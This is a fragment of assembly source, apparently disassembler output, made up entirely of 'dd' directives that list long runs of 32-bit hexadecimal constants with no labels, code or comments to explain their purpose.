		dd 0A54EC50Dh, 0CFC8B11Eh, 28096A8Bh, 13EAB0A5h, 9672E195h
		dd 9E16BAF7h, 8419A880h, 15D4CE5h, 49EFEC11h, 393158D9h
		dd 33F64D5Ch, 2B5F1A41h, 0EF0BD81Ah, 0CBFDD199h, 0FBE548Dh
		dd 5B677D0Ah, 94CC3DDCh, 0A82E2907h, 0F3553554h, 693B8EF5h
		dd 6C3F548Ah, 0D5A58945h, 0E9AA463h, 700199D0h,	0F92063A4h
		dd 1D9171A6h, 627A40AEh, 975CDC09h, 64BD873Ah, 0F852603h
		dd 37303375h, 84773FCEh, 923D6D13h, 1D0121E2h, 0FBFEDC28h
		dd 7EA4926Dh, 0DEB09E3Eh, 35DC1168h, 96186BC7h,	4C129050h
		dd 912A3648h, 3A1F62F9h
		dd 70513CCDh, 0D9D9DB9Fh, 0E970F38Ah, 6BE4D27Eh, 4FDC62h
		dd 402B7A7Ch, 60822786h, 60EEE6F8h, 7BE9ED44h, 0BD3DAA8Eh
		dd 1AF9A6BEh, 964422B3h, 0ADFDCBD2h, 93230F99h,	8ECF4411h
		dd 0BC91D024h, 0C84A8230h, 73739AD6h, 0B0606276h, 99D5FDDCh
		dd 15CAE0E7h, 277FBD46h, 0D9A5A393h, 28214E68h,	0F6D60250h
		dd 0AF95644h, 0F2F6A85Eh, 76624F53h, 34A353C5h,	98D55418h
		dd 0FAB375C7h, 7CAAED9h, 0EF0D3981h, 62DDE1BEh,	0F9632497h
		dd 0C8899D26h, 9404BC9Ch, 81589D9Ah, 6B85F769h,	0E49442D4h
		dd 23FAC6A5h, 0E980FDF4h, 73863A8Eh, 1A59ADE9h,	9E2C7D75h
		dd 5C9D35EAh, 0AC2F2F04h, 61D2B64Bh, 2A059302h,	0B8A7FAEFh
		dd 8BB8BCB8h, 8BBA3728h, 0FDDD4D5Bh, 0CF3796C8h, 0B321593Eh
		dd 0D0740E9Dh, 69C38Ah,	0EF4B058Bh, 3993DBB1h, 2FA48B1Eh
		dd 7D1EFB61h, 0EBDE4070h, 0D98BF63Dh, 0F5E93574h, 69DEE4C5h
		dd 61B2D69Fh, 854E3E7Ah, 99EC12Dh, 0FF014B36h, 2857BF7Ah
		dd 70E40F61h, 703571F3h, 4043A17Ah, 2DFB0B9Ah, 0EA452F41h
		dd 0E3D840B0h, 0B48CF6C2h, 1E29829Fh, 0F8BC4767h, 902D25B3h
		dd 5EB587BDh, 0FA4D9B27h, 7603B9AFh, 74A302CBh,	83D7B415h
		dd 5902B38Fh, 9D8D1BD0h, 0C5AA1B41h, 50C386FCh,	0BE41C64Bh
		dd 18732F3Eh, 2019FAF6h, 9D1C0740h, 69EDB920h, 9EA18E28h
		dd 8CCA16ADh, 396DA652h, 0B53D8A41h, 0BB9A266Ah, 0AEA83658h
		dd 0D48FB9C4h, 97DB4295h, 33DEBA01h, 84404D3Fh,	7A891E4Fh
		dd 0F4ABAA76h, 0D6C682ACh, 0C5A6E774h, 58774453h, 7B016B06h
		dd 0A07B11E6h, 63D2B7EDh, 22129706h, 3E803369h,	534B7962h
		dd 3CC6DEBBh, 8C47B639h, 2610A65Dh, 0DDAA640h, 0CE8AE55Bh
		dd 7C35D0E8h, 2A56926Bh, 0A7CA8F51h, 0F17D667Eh, 4DEE529Eh
		dd 0E33E7866h, 2EAD33C5h, 22E08906h, 6A599F1Ch,	3F9F390Ah
		dd 7AFEF221h, 0ABC06DB9h, 76077793h, 87DA16B4h,	0DFE34013h
		dd 701D19E0h, 167BA378h, 55E85F32h, 0AA6ADE36h,	0CADABAE9h
		dd 0C8BB2E94h, 0C664B85Eh, 4685BCB9h, 1AE33BABh, 0E5FDEDD4h
		dd 1EDE48F0h, 0EE08351Ah, 4198FEE4h, 8650927Ch,	398D23A0h
		dd 369D92ABh, 5B04D0Fh,	37C50CF7h, 33D4485Ah, 683028E3h
		dd 0AE0CE582h, 15AC92CDh, 0E5ADCB18h, 175F17D7h, 544ADD63h
		dd 0C797D13Fh, 0DCAC67BEh, 896371E7h, 0F9B4B619h, 2AC415ADh
		dd 0BA3FDD7Ah, 7B277966h, 0D48F5024h, 10F887A1h, 7A46E173h
		dd 2E29B489h, 25B62207h, 41B9678Bh, 0C1470A00h,	4C795CA1h
		dd 60AF5FA3h, 1B19B800h, 7BBC33FFh, 0A37457C5h,	7FE760F2h
		dd 0E0A4B6FCh, 0C3CFEDDCh, 0E7A4000Ah, 0ACF81A3Eh, 7C34D4A3h
		dd 24561273h, 0BEA75BE0h, 0AD540B15h, 6230CCC8h, 9F648F38h
		dd 26A9D435h, 8A1174D1h, 8DBA4004h, 70ED2D15h, 0D47378FCh
		dd 83DF13C6h, 0E9AC86F3h, 4019F623h, 0F9ECF8F8h, 0D8C55113h
		dd 71EBD953h, 4961E6B2h, 539B3457h, 50E2AC35h, 7D2EDA6Bh
		dd 0FE20FB62h, 9D1FD196h, 4555A85Eh, 0FAC7AE3Dh, 0B4011B68h
		dd 62A06720h, 0FA35FE55h, 318291DCh, 0C8E72F82h, 88C991F4h
		dd 503F6991h, 68CDDD60h, 0ADA2AE04h, 721E7815h,	3EE6C56Ah
		dd 82CAEBA3h, 4FDD0B5Bh, 0EA40CEA1h, 3335E7C2h,	0F0DC3D1h
		dd 0FC28FB54h, 0AC774ACFh, 2149B50Eh, 0CACD3003h, 27E02B5h
		dd 6F07B4F2h, 84CE82F9h, 264553F8h, 0C1113DB7h,	0D1579346h
		dd 585CD0Fh, 0B29999F4h, 0A24B59C0h, 5F0968DFh,	902F2D3Fh
		dd 0ADBEA020h, 0AA0D4737h, 0ACFDCDB4h, 3F932Ah,	38ACA485h
		dd 0B497D9D4h, 0ADD32535h, 0D7C16446h, 9270D7F6h, 76DC9A38h
		dd 0A60BAC0Dh, 0F6A46259h, 49F220E9h, 0D122519Ch, 1B41CE81h
		dd 68B502F4h, 0E801764Eh, 160CD4CFh, 571EBA7Bh,	0F1EC859Eh
		dd 824F1F83h, 10C2292Ah, 26086023h, 723AF1B6h, 23FEA46Ch
		dd 0C87C4B1Ah, 422190A5h, 5F3F6C9Ch, 11DEBEEBh,	1E42EC5Fh
		dd 44B9E204h, 68AF5056h, 56652743h, 85379CA4h, 6248420Ah
		dd 748EE107h, 5218BA73h, 0A71F6A61h, 8C25833Eh,	0E89A5C27h
		dd 0FF1C95BFh, 12E3671Fh, 1C83A8CDh, 59F6B05Ch,	0D960E715h
		dd 0BC3D24FDh, 0B8A854BCh, 238A6CD7h, 4AB9DDD1h, 0C4B01F1Ch
		dd 87990368h, 9C4FA6B1h, 6E9327F4h, 8E512C0Ch, 7EC65AFFh
		dd 0D999CA9Eh, 9B5906ADh, 16E23460h, 7CBBD067h,	549F5BB4h
		dd 0A16BC67Dh, 39F07795h, 3DAFA714h, 0AA8C9E37h, 0FD5E84A4h
		dd 0CE8DEF37h, 83CEA7C3h, 705F636Ch, 88687827h,	2C1A4EC4h
		dd 4222A3AEh, 0DE88B53Ah, 0E0B7AE94h, 69AC982Dh, 0AD89309Ah
		dd 2F58E6BBh, 454D54CBh, 485E9F48h, 21213EC5h, 0F8714C54h
		dd 49CFE65Fh, 5E1A5793h, 2EE52F80h, 0A7FCF93Eh,	6E6B800Eh
		dd 7C0DC3C5h, 0F43F365h, 63EA014Fh, 0D3EBB48Dh,	191759EDh
		dd 0FA3C0D8Fh, 34E914B1h, 0EBDDF857h, 0A23A1469h, 1722CD9Bh
		dd 296DEB70h, 115075F8h, 67A74454h, 0FD121ACBh,	0DA83F34Ch
		dd 223D97BFh, 0B66D65F7h, 5E611E9Ah, 496E8FBCh,	34E3144Ah
		dd 4314C73Ah, 28AA6393h, 21F2F034h, 0ED1EB39Dh,	0D775CD4h
		dd 7EEE61C7h, 4B4A0B97h, 0EC42CEFFh, 9975E878h,	7BA663D7h
		dd 6395B371h, 0E7DB54D9h, 60AA2D2Ah, 917984D5h,	0F6E83AA0h
		dd 3D1012AFh, 13D08599h, 0C683A1C8h, 4DECAD6Eh,	9128F40Bh
		dd 0B4825F35h, 478B21D8h, 44EE08A7h, 5727892Fh,	0C565D4D8h
		dd 2EAB5C0Fh, 0F0D8DD1Ah, 6C6C8BCCh, 7537CEFBh,	0C6ED2187h
		dd 32828F2Bh, 49394E50h, 0A5589B61h, 0BCC07302h, 0AE0CAE64h
		dd 456B0976h, 942E4359h, 7C21C6ABh, 277ED271h, 0A91E34B0h
		dd 0F08574Dh, 3B68F32Dh, 42410063h, 853B88ECh, 4E9BB816h
		dd 0BF7199EFh, 8C751EC3h, 931E2820h, 0D69C5DBCh, 0C03896ABh
		dd 6533F7B1h, 760D2614h, 334B0328h, 6B79DD1h, 2F6D37D0h
		dd 8D317A75h, 1987C953h, 9CF664F5h, 0B9538E1h, 0C84C9F69h
		dd 90A9E080h, 1604683Eh, 0DCA404Ch, 9BF16223h, 0F2B452FDh
		dd 0F9C638CDh, 2D323BFBh, 3A1E8A85h, 25FCB17Ah,	7B9369A5h
		dd 0F9ECF378h, 154EA5D1h, 0ACB58EBCh, 6FA7FE82h, 0EF0AA3CEh
		dd 0F8D8ECECh, 3CF2356Dh, 51AE7351h, 80CE2524h,	11868BF0h
		dd 0FFEEB574h, 79005656h, 0A5E72E04h, 14BA8888h, 0B60FBD00h
		dd 43231E31h, 752948F2h, 58BD1027h, 0BD54F127h,	7A6BB8C4h
		dd 0D6569061h, 60101B6h, 3A3183h, 932AA4A0h, 0F3E30EB8h
		dd 0F3DD5E70h, 0A3B7EC14h, 0EE24575Fh, 0AED5CE42h, 0C061EDAEh
		dd 9D421ADAh, 9C69D607h, 0D0E16C2Dh, 0B215BC94h, 91550F3Ah
		dd 33E240E1h, 0AE02523Eh, 7C6B493Fh, 0FDF5B6D4h, 0C23CD0CEh
		dd 655ED56h, 0F638C15Eh, 8F6C25FFh, 0E9CB0065h,	2F5F9649h
		dd 0C635BF65h, 0F05F6C1Fh, 6FBB20D8h, 373B9B0Ch, 473055E9h
		dd 0C4BF11Dh, 651898FBh, 9DB5E83Dh, 8E58AA6Ch, 2FDD984Fh
		dd 204994BEh, 4BEBC9EAh, 3B696A10h, 0F2BDD2EDh,	0FA6E78F5h
		dd 0B6188FC2h, 7F9C5BFFh, 0B2A54979h, 53D55653h, 0B3B26B60h
		dd 1AB58B88h, 0DCB613F0h, 2FB1D43Ch, 9051340Fh,	0C7AA4731h
		dd 0C45372F5h, 910A2726h, 2B782A4Dh, 8C790A93h,	69D95156h
		dd 460890EEh, 90723D67h, 1E357D85h, 0D7E597D6h,	9F782348h
		dd 8EBF289Bh, 0D06969EBh, 4BF2005Bh, 1F379058h,	13B02D59h
		dd 76882C6Bh, 962E9A17h, 0AA4AA466h, 0D2940FB8h, 9CE95E10h
		dd 57F3E7AAh, 4D489EE4h, 31971193h, 0BA349474h,	3CF8F7D0h
		dd 0A9CEF625h, 0C31D52F4h
		dd 0E417A598h, 6680A33Ah, 1FE077B8h, 0B9F2B806h, 0B77E6B53h
		dd 0C28C4169h, 0C2A0E983h, 7220B538h, 2FE36DCCh, 0BC09B9E6h
		dd 7ACF007Ah, 33FF8FF0h, 2F03BADAh, 0EC4A2038h,	7FAF4B38h
		dd 3A92748Eh, 0BD855FB5h, 0FB367F16h, 0C0DEE05h, 8E2A279Ah
		dd 6000C287h, 81518C1Ah, 617C683Eh, 7801C9AAh, 6606A30h
		dd 0DE9489Dh, 0C6AEBD02h, 26A935B3h, 9080C76Dh,	0A14DEEA1h
		dd 0EBBB6D0Bh, 9E4EF4A6h, 0E0041E2Eh, 344B21A9h, 379926FAh
		dd 4751F4B7h, 39D4D2ACh, 0B4589D6Ah, 0A3D3A5D6h, 5C602EF8h
		dd 0CE1D0B85h, 7E3E8769h, 0F90854E9h, 158BB41Dh, 61647EFBh
		dd 99F207D2h, 0DCE8FEB7h, 0C45A5096h, 0DE86953Fh, 9C9C371Bh
		dd 0F1A248DAh, 0D0CFEE14h, 46845BCFh, 9CB3CF50h, 8E8AF4A1h
		dd 0A223E7D4h, 1C1A3669h, 0DB5FFCEDh, 6E29373Ah, 245FE600h
		dd 1CBD04FCh, 6284B279h, 61EE8D9Fh, 78D2AA1Ch, 0C5B7084Eh
		dd 6E04F8E8h, 0A71F8C79h, 57AA7851h, 726BDF54h,	0CA9108DCh
		dd 0C2430D1Eh, 72EF148Bh, 7FF4522Ah, 3CACB7D1h,	3F9C1681h
		dd 2BBA6563h, 0F08FC00Eh, 1B30F145h, 17B8228Ah,	116CEEC4h
		dd 1915351Fh, 67489882h, 19D8AB85h, 6EF8AE87h, 44E87B9Fh
		dd 0DD757EF5h, 0C2CA8641h, 0B4EB4C8Dh, 93E395DFh, 0A366B67h
		dd 3B5F65F5h, 0F3A3FA13h, 6F4841CBh, 89C6E5D6h,	0BE3FBCCBh
		dd 8DB52F12h, 0EF43DD8Dh, 0B1A80A46h, 14553AEEh, 47A9EC8Eh
		dd 83517367h, 0F65250EFh, 0E786C404h, 2200D6FFh, 6575C5D2h
		dd 91DED4B6h, 6073AB5Bh, 0C4676B6Bh, 0F549DE1Ch, 52A4BB52h
		dd 81A4E77Ah, 3EAA321h,	7F61CF3h, 185AF41Ch, 6E8AC087h
		dd 5A8A1F1h, 0B3D13820h, 0E247D829h, 0E466BDA3h, 18940434h
		dd 2CD05DD6h, 0A10E8073h, 9993116Bh, 0CE7F65Dh,	0DCE0343Eh
		dd 218AFEBEh, 0F178418Bh, 6D05E072h, 8DEF16E2h,	89E07AADh
		dd 0CBDBBA98h, 3873B97Ch, 3B83A073h, 0E89C53AAh, 0B4FA02B7h
		dd 67A65CFh, 4DC3C230h,	77C8DC68h, 772B008Eh, 4DF8D160h
		dd 0F3772F8Eh, 4B294C5h, 56308D45h, 77A8B71Eh, 6E273AC6h
		dd 0E5EC15F4h, 2766B8C7h, 5E5B80Ah, 39F669B3h, 0C8E8F0F5h
		dd 23D40A82h, 3015D32Ch, 0E9F573CEh, 0CEA50BDh,	0BFCE5CEDh
		dd 283C9C90h, 0E6B331B5h, 96B93E8Dh, 0F2D47DD4h, 275DF17Fh
		dd 571D344Ah, 34B72C50h, 93D01F87h, 9CBE1468h, 0EB50B1B0h
		dd 74444BFCh, 972E0939h, 0FDA02021h, 47457141h,	7812EDEEh
		dd 7AF847B2h, 91F8D156h, 0A91EC51Ch, 0EFE2A3DFh, 941AE9A4h
		dd 9319848Ch, 0B2B45C5Dh, 9103AF33h, 2C540513h,	1E5CE6BAh
		dd 69461656h, 0B7B840D4h, 0B5BA255Eh, 0E01143D4h, 382C4F73h
		dd 29ED428Dh, 975FAD16h, 0E7E7DA50h, 402BB92Fh,	725D3464h
		dd 561A7D40h, 0E1ABBEBAh, 8D1ACD45h, 0BB1E2A7h,	531CDBE6h
		dd 264A3BE3h, 0A06B4FA1h, 0CF769A4Bh, 15652D3Eh, 0DA26D7DBh
		dd 3D83BA4Ah, 0C27436B9h, 0DB2FDFh, 0AF36C44Bh,	0FF8822ADh
		dd 0F90D94B7h, 221F5DB7h, 147324B2h, 4C8EBA15h,	6CC9FC71h
		dd 0A11D670Bh, 0CE37A192h, 4ED62E28h, 161C8AE6h, 1FA946B9h
		dd 36EC6BB1h, 0AA3EAD2Ah, 0DCB6D5Dh, 4CB7E595h,	7F1BE76Bh
		dd 0E69D7B78h, 0B10C7C42h, 0EB0C9D06h, 5BB540DCh, 0DF488117h
		dd 53667880h, 24A8D20Eh, 7411A2E9h, 0F1AE7FC7h,	0DA2FAEE9h
		dd 7859721h, 1550A037h,	88BA675Ah, 0A2E94E1h, 0ADABA87Eh
		dd 0EEE730DBh, 0CA1FE8D5h, 0F988473Fh, 3EDEA9B8h, 51A6E537h
		dd 5152293Ch, 0B45CAC4h, 0D93E6C85h, 0D61CE59Eh, 3AA8EEE0h
		dd 0AA78598Dh, 78C40E21h, 0B99055CCh, 0BBC46248h, 5859D565h
		dd 82681E8Eh, 49CF524Ch, 0C6837886h, 22C8F0DFh,	0A75381ACh
		dd 709E43F6h, 20B080Eh,	87C207E7h, 0A074A86Ah, 29EDF7A6h
		dd 0D8948E87h, 0A0743BB3h, 318324A8h, 513EAB69h, 12EBD077h
		dd 86ECE0AFh, 0C1324D92h, 5936C416h, 0D842AB4Ah, 5E1224A5h
		dd 0A87AB030h, 0A456636Fh, 9D900AF3h, 0E6F2F37Fh, 23B4B763h
		dd 9D9ED841h, 0A11D4C13h, 399E0E4Fh, 0FE60D911h, 42260A27h
		dd 0AD21A7B0h, 15D192A7h, 0B09CCED6h, 73D0A5D9h, 0E6C37436h
		dd 8C899748h, 2FF45796h, 0D3B55903h, 1AC3B337h,	557554B5h
		dd 0C258DFB5h, 0F4412A22h, 0E5079693h, 0A1589B07h, 0A7D6ACD5h
		dd 88E950BFh, 23B1C31Dh, 0E4617B02h, 0AA6F35CDh, 5DDFC626h
		dd 0E4317F28h, 43A4D629h, 0CB8CE394h, 0C88E1101h, 7F00D175h
		dd 0FFDE6F32h, 53F7E707h, 3BAFEBC8h, 0EB3E77CCh, 97A08191h
		dd 95D58F2Ah, 1DDD402Fh, 31F5BA4Ah, 5DF3AF74h, 6D1C28DAh
		dd 9D29E5DFh, 0BB381A2Bh, 0F9A52282h, 0B2C4A263h, 3B06BDD7h
		dd 0E1FB1058h, 0DE07E67Dh, 0FBE4D96Bh, 57406C3Eh, 69645D6Ch
		dd 0B09593BFh, 14BCE665h, 0CE9EEEECh, 6649A58Ch, 2A52430Fh
		dd 79FCFE78h, 0B3B8889Dh, 561BAB48h, 79FFABC3h,	53BD7C5Ch
		dd 0F132B290h, 637C8AF3h, 0AF8C13BBh, 0DEAA4EE3h, 3A71FBBEh
		dd 9ECBAB1Ch, 7C0FD97Ah, 0D5F6CFA9h, 0B3B37918h, 0CDD9C2Ah
		dd 0E55A6F5h, 0D24F5A45h, 0D64ECBA2h, 1F512F02h, 8F764F46h
		dd 8D76EA67h, 0F3B560FFh, 6F9F6C6Bh, 8DE1BC55h,	0E2FE7018h
		dd 4D3599B2h, 4A212010h, 9DCF463Bh, 0EB866849h,	25A4E5F6h
		dd 4D9FE406h, 0F2A26CC3h, 8CE5A85Bh, 0AB811203h, 0A9EC68C7h
		dd 0C99EA8C1h, 3F20EA4Eh, 2F41E0E0h, 689876DBh,	0ED81BF77h
		dd 11981CD5h, 5EF67E61h, 34713FC5h, 0A8F68B3Ch,	0C53A5921h
		dd 0FCBB89D4h, 26F902AFh, 0A2E805C8h, 44A2098Bh, 1CC1D924h
		dd 1C829A05h, 0E2677D35h, 0AA6505BAh, 1BD24019h, 0A20245F5h
		dd 0A2C763A5h, 0CB295BEBh, 0BDEDE9D9h, 22948999h, 0CAB9EEBDh
		dd 96ECDB3Eh, 1D8906CBh, 0EE4E5B96h, 0CC0C37E3h, 0F8AD3F95h
		dd 7E00CD00h, 0C07D2819h, 80FC96E1h, 0D3D3F5B4h, 0A573DB6Fh
		dd 985CBADAh, 8135F069h, 0D5FA2460h, 0A59F5B11h, 0A026F910h
		dd 69738DFAh, 3BC9D761h, 4F6B8724h, 11596C8Fh, 0F3F85E6Ch
		dd 0F68D8A1Dh, 1ACAB504h, 6FC6A635h, 448F3BDAh,	7B8EC3E7h
		dd 0C4728E0Fh, 7F9EC2ABh, 94E1B5B5h, 0E6FE6CE8h, 57AABB36h
		dd 99F381F8h, 0FE4F5719h, 6BB99711h, 0C8E04DFDh, 78860F15h
		dd 3AE7869h, 1342BC5Eh,	1890DBD9h, 1CDE4054h, 2420C0Ch
		dd 6D38C015h, 0F9F90026h, 0A6F84936h, 0D8ADCC6Bh, 76E91025h
		dd 0BB248AEAh, 95ABB5CCh, 569F3FE7h, 3199DE01h,	0A0109494h
		dd 229AB2F9h, 5D1EE899h, 822D52F9h, 0F7414942h,	15C6C65Ah
		dd 6269BC34h, 0BDFF91BAh, 7C33C5D7h, 0C8F4B95Ch, 861289A1h
		dd 0E31C7A43h, 0AC416D2Ch, 343BA24Bh, 0F61C48C5h, 1ED78286h
		dd 0AA166B7Dh, 0A52B5B75h, 43043F7Ch, 0E181036Eh, 1BE91867h
		dd 0F24954B6h, 0DBFC5922h, 0F48004EDh, 9182D307h, 0A53927E3h
		dd 14530B5Ah, 26EE09E2h, 0F4AFFF41h, 417B8A37h,	6C9D0581h
		dd 0DC7D2ECCh, 57038598h, 655BB978h, 723D9A4Bh,	1D34EA79h
		dd 0A34A709Fh, 0D343051Fh, 198902B7h, 0BBAD6F8Ch, 4CEC5A8Fh
		dd 8AC576F6h, 0B34AA939h, 86CA7857h, 2A184347h,	0BFFD13AAh
		dd 3177B920h, 0D856D465h, 0E5104F54h, 0E769651Dh, 8EA6EEDAh
		dd 3CB3EB26h, 63077ECAh, 2C1D9529h, 3843473Eh, 612F4D1Eh
		dd 0E5D6D740h, 0A9867CD3h, 531F4732h, 8A1EE379h, 26E19861h
		dd 0BD234533h, 0BA774C94h, 0EE81C383h, 0FAD836D0h, 0A41F5D10h
		dd 0ED090FFDh, 1B63D15Fh, 83E834EFh, 2D7EABE1h,	0F24C3B38h
		dd 0C52EDCE8h, 919FB86Dh
		dd 0C802385Ah, 0F3F8A811h, 1F1C5F60h, 481628A9h, 5B7EA26Eh
		dd 0A48C6DBDh, 64C4CE03h, 5C7BFE8Ah, 0C560FAC2h, 0C4E9BE50h
		dd 0B7A3E093h, 7068F5BCh, 5874AB46h, 0A902FC8Bh, 0E6EBE004h
		dd 499E48E6h, 89F49687h, 2A5CECADh, 37C341EDh, 0C5674712h
		dd 0A0BAFF11h, 9B459CCh, 3E0F78CAh, 0AF6BC79Fh,	404C7CFEh
		dd 4A2DCC53h, 0C617A299h, 0A36E3EE6h, 1B06CF1Dh, 210B9148h
		dd 0CA8B7560h, 0ACE34CF0h, 1FB5CE56h, 0A14A03F5h, 0B7A76C8Fh
		dd 531EBBC6h, 14BD1FF8h, 592E135Eh, 60DA8480h, 257878CEh
		dd 0C6996565h, 99BEEED6h, 0A3483DA6h, 0CF6BF74Ch, 90CE80BCh
		dd 0E8952854h, 0C5AC567Eh, 57A9C5E0h, 0C2D3863Ah, 0D5E05FCEh
		dd 74E90CE5h, 12468EEBh, 5382BFCCh, 9197FC14h, 0B8A2641Bh
		dd 904349F8h, 0AB9017D8h, 38998001h, 0F7F1C94Ah, 0B2EF35E4h
		dd 457D3E2Bh, 860935DEh, 0BCC77632h, 12DF5C55h,	0B80B92DEh
		dd 0EE0704FEh, 1D69652Dh, 0A36DFC6Fh, 0D2564DBCh, 821C6D86h
		dd 0E6745898h, 1C5BE971h, 263AA751h, 0BC7D6C49h, 0CFBF3F24h
		dd 9CA6ACBFh, 8610AB77h, 9D977C8Bh, 7BDBC84Bh, 43537B6Fh
		dd 31880A76h, 404C72C5h, 0C23CC70Ah, 8FADAA41h,	291148F9h
		dd 0F9A5AA1Ah, 7DF0DEB7h, 409DCE0Fh, 0AD2A85D0h, 0B7B7DC24h
		dd 6A5EFA98h, 5E2A0B70h, 974F1C03h, 8A2D6D19h, 0B86C7932h
		dd 25E60F62h, 47BE4354h, 0BCBA52FAh, 0ABCD8E4Dh, 0F2F157A8h
		dd 8DD8865Fh, 27288696h, 0B38668EBh, 0E838330Fh, 9B990F97h
		dd 1E029111h, 10C547AAh, 0FF1DF5B3h, 0EA786884h, 0DF98A8C1h
		dd 0DA2F55ADh, 0CDFA7285h, 0AA1BF139h, 0F93F7022h, 1A91F16Dh
		dd 0AE327917h, 72B5A102h, 0B07004BEh, 0EF93013Ch, 9849CC7h
		dd 0D81E7D0h, 56634B18h, 2A613EE5h, 0C63939E9h,	0C82F561Dh
		dd 0B11D9F9Ch, 0C874147h, 980AB191h, 0E077C068h, 0F572E132h
		dd 825A5189h, 37DB837Eh, 0B26B3680h, 0D5478F3h,	5979CB5Ah
		dd 1EB4E98Dh, 2D1BA4ABh, 0F0E9C861h, 0ACF8FC89h, 0F85B99DEh
		dd 0CA9FA83Eh, 4B0DAF1Fh, 0B1EB600Ch, 0C88FB438h, 80CCFA0Eh
		dd 0E71D435Dh, 0E18E4782h, 0CE1F3514h, 286FDD00h, 2B76700Ah
		dd 253F15A9h, 0D572D0A7h, 0DABE030Fh, 86B613BFh, 368C87ABh
		dd 0A3940C0Fh, 5C7E401h, 0A3761A47h, 1389B567h,	3B5BB76h
		dd 3D226AA9h, 0A4B4464Dh, 0AE58E457h, 64294550h, 2341978Dh
		dd 0B3A7A476h, 0FF5397D3h, 41A025FBh, 99628A87h, 43DB7BC9h
		dd 0E6405752h, 0D7672A01h, 69F094A1h, 953C6F2Ah, 0F43DFE7Bh
		dd 82D77F0Fh, 0A247B06Ch, 0F862F32h, 864B8C0h, 351E468Eh
		dd 63DC5680h, 578D49BCh, 7464694Eh, 0C5793687h,	3168900Fh
		dd 3512A08Dh, 82766C55h, 9CBB895h, 0BA2CC420h, 62B1E2CDh
		dd 5CBEF9A8h, 3171AEEFh, 720A31D9h, 6E826C05h, 53E35676h
		dd 0BCAEF6EAh, 0E0969891h, 85DCE89Eh, 8829240Bh, 613AEE25h
		dd 0A6EBA0EBh, 0BF67344Ch, 6D613BAEh, 0FDA26202h, 11DAB32h
		dd 0E00C9449h, 24E95D4Dh, 85D92B83h, 15BFEA03h,	1DB41459h
		dd 3C2BB6F2h, 92633341h, 0A51F0D12h, 386CDE4Fh,	2935FAADh
		dd 7B978534h, 0E0621C92h, 0F09A7692h, 39C69A00h, 0A7BC2BD7h
		dd 6CBE1027h, 1A887ED7h, 4630AA81h, 0CCE3E2F2h,	0CFB21AD8h
		dd 734DC335h, 3F2EC109h, 3D128F02h, 5B51D433h, 0D0272E11h
		dd 871390C5h, 478024DBh, 99698A17h, 0D2B9EC15h,	3CFC57DDh
		dd 84552EC0h, 0EB259512h, 13314733h, 0BA58A93Bh, 84F8A00Eh
		dd 873F3CD2h, 2B83A732h, 7E647CC0h, 951DA48Eh, 2A9F1A6Dh
		dd 0B91AFC5Dh, 0BF4488E2h, 49F89DEBh, 4368D445h, 0A2F2A738h
		dd 7E90E8FDh, 0AE2F3DFCh, 45E53660h, 6FB00537h,	8EC89424h
		dd 206791D2h, 0A4F49972h, 0E16F0EFCh, 8C0D5B69h, 61DD2669h
		dd 0E6320284h, 519E1F8h, 44832420h, 51CAD151h, 28FBCECBh
		dd 889037A4h, 8BC8ACB2h, 3FF9DE2h, 2EF0B58h, 0AA3B79F3h
		dd 99EBDADDh, 0FCA7F494h, 0F53F1AF2h, 0AB977428h, 0BBA6A3F5h
		dd 8A196A8Dh, 0E7E54EBCh, 2D5E25F0h, 9917AEABh,	408278F2h
		dd 9A81E3FAh, 0DB9BF3DDh, 0B0280B20h, 5C75D2A6h, 1A08152Ah
		dd 3EF2377Dh, 0FB776081h, 0D36CBA98h, 93CA17DDh, 844AB1D8h
		dd 0B7B8DABh, 95C45F5Fh, 0AB60EB2Eh, 4A12B8D7h,	0C93997FEh
		dd 0CD0DB9D3h, 0B0A98634h, 8EF20DEDh, 3E710255h, 0D35FC29Dh
		dd 0FECB80C2h, 5BC0298h, 0B1B413DBh, 0ABB3F0Eh,	0F284993Bh
		dd 55DA66Bh, 0E366232Dh, 3D252613h, 8C8C87CCh, 51DB0237h
		dd 0D1E78A07h, 0E480281Fh, 0D1053CE3h, 493A72Dh, 69AE3DD7h
		dd 7A4CC21Fh, 2FD3C74Eh, 626CD2C2h, 3150B4AAh, 0F8E4F145h
		dd 960CA4DEh, 3657F602h, 3B1CBD89h, 8A69E87Eh, 0EEE4384h
		dd 0FC18E581h, 577BD99Bh, 5FEBFDE1h, 284FC1FBh,	1DC4CEECh
		dd 0E1BC968Dh, 0EC7148ADh, 7DD7DEA3h, 9FFAE4EEh, 0F9351AD9h
		dd 0C059EB23h, 0A5B28EBEh, 94061446h, 0BF431F79h, 0BBF682A8h
		dd 321F3497h, 0E1612893h, 6967CAC2h, 992F7C8Dh,	7EA84F57h
		dd 8D9A0C58h, 0C2760B10h, 0B061EA4Ah, 7EC0ED33h, 490B5491h
		dd 7EC77B37h, 0F7FC821Bh, 0F51012DFh, 225D02FBh, 0EE444A27h
		dd 0C74F83C6h, 9D389C31h, 3F37C3C4h, 4E86C045h,	0E5D11369h
		dd 15B56DCBh, 0DDEB155Bh, 0C91330Ah, 0DF393CDEh, 705B83BCh
		dd 38F71854h, 0C02CD708h, 9AF38A3Bh, 0DA885CBDh, 0E32AB2DEh
		dd 0D26544D9h, 320249F2h, 0F0B3AB3Dh, 831B7ECDh, 0BA6CCC9Dh
		dd 0BCE0C3ECh, 91E8C251h, 444670B6h, 61E0CAADh,	0F500A4F1h
		dd 9FEBD3A5h, 1D306A0Dh, 0A87ED4DCh, 0A0C4B17Ch, 37EB29B2h
		dd 3E0EDFF0h, 0A7182A3Fh, 0A03AF7Dh, 0D953A90h,	22EE071Eh
		dd 9F6088A4h, 0DED1D379h, 0EA98C707h, 0A0D826C7h, 8ED2E805h
		dd 0FD999F2Ch, 0FE88BD80h, 9CADEB8Ah, 3BF45C84h, 54443496h
		dd 612BBADAh, 19912F71h, 4A24E7B7h, 0A693F2FAh,	5D2049D3h
		dd 57E1C40Eh, 0C4EB9C99h, 0EA5EE342h, 23325E02h, 4B8A4B8Fh
		dd 3CC14A7h, 0CCC1183Bh, 731FA29h, 0C5DE8ED3h, 842E2AC2h
		dd 937DB6C6h, 0AB18FADh, 0D13C790Dh, 0FFA45AB8h, 10C485Dh
		dd 0B54774A5h, 8AA7E190h, 0A3B9A6F1h, 65240F7Ah, 0E96921F9h
		dd 0CAD17533h, 3580A002h, 1512C112h, 0F9FF0AD5h, 1F289ED6h
		dd 0CFA51BC3h, 0A8E8BFAh, 0DF797191h, 298DCF28h, 6CEA2F0Fh
		dd 88C14508h, 4652A33Ch, 7D084038h, 54B71028h, 0C088DA13h
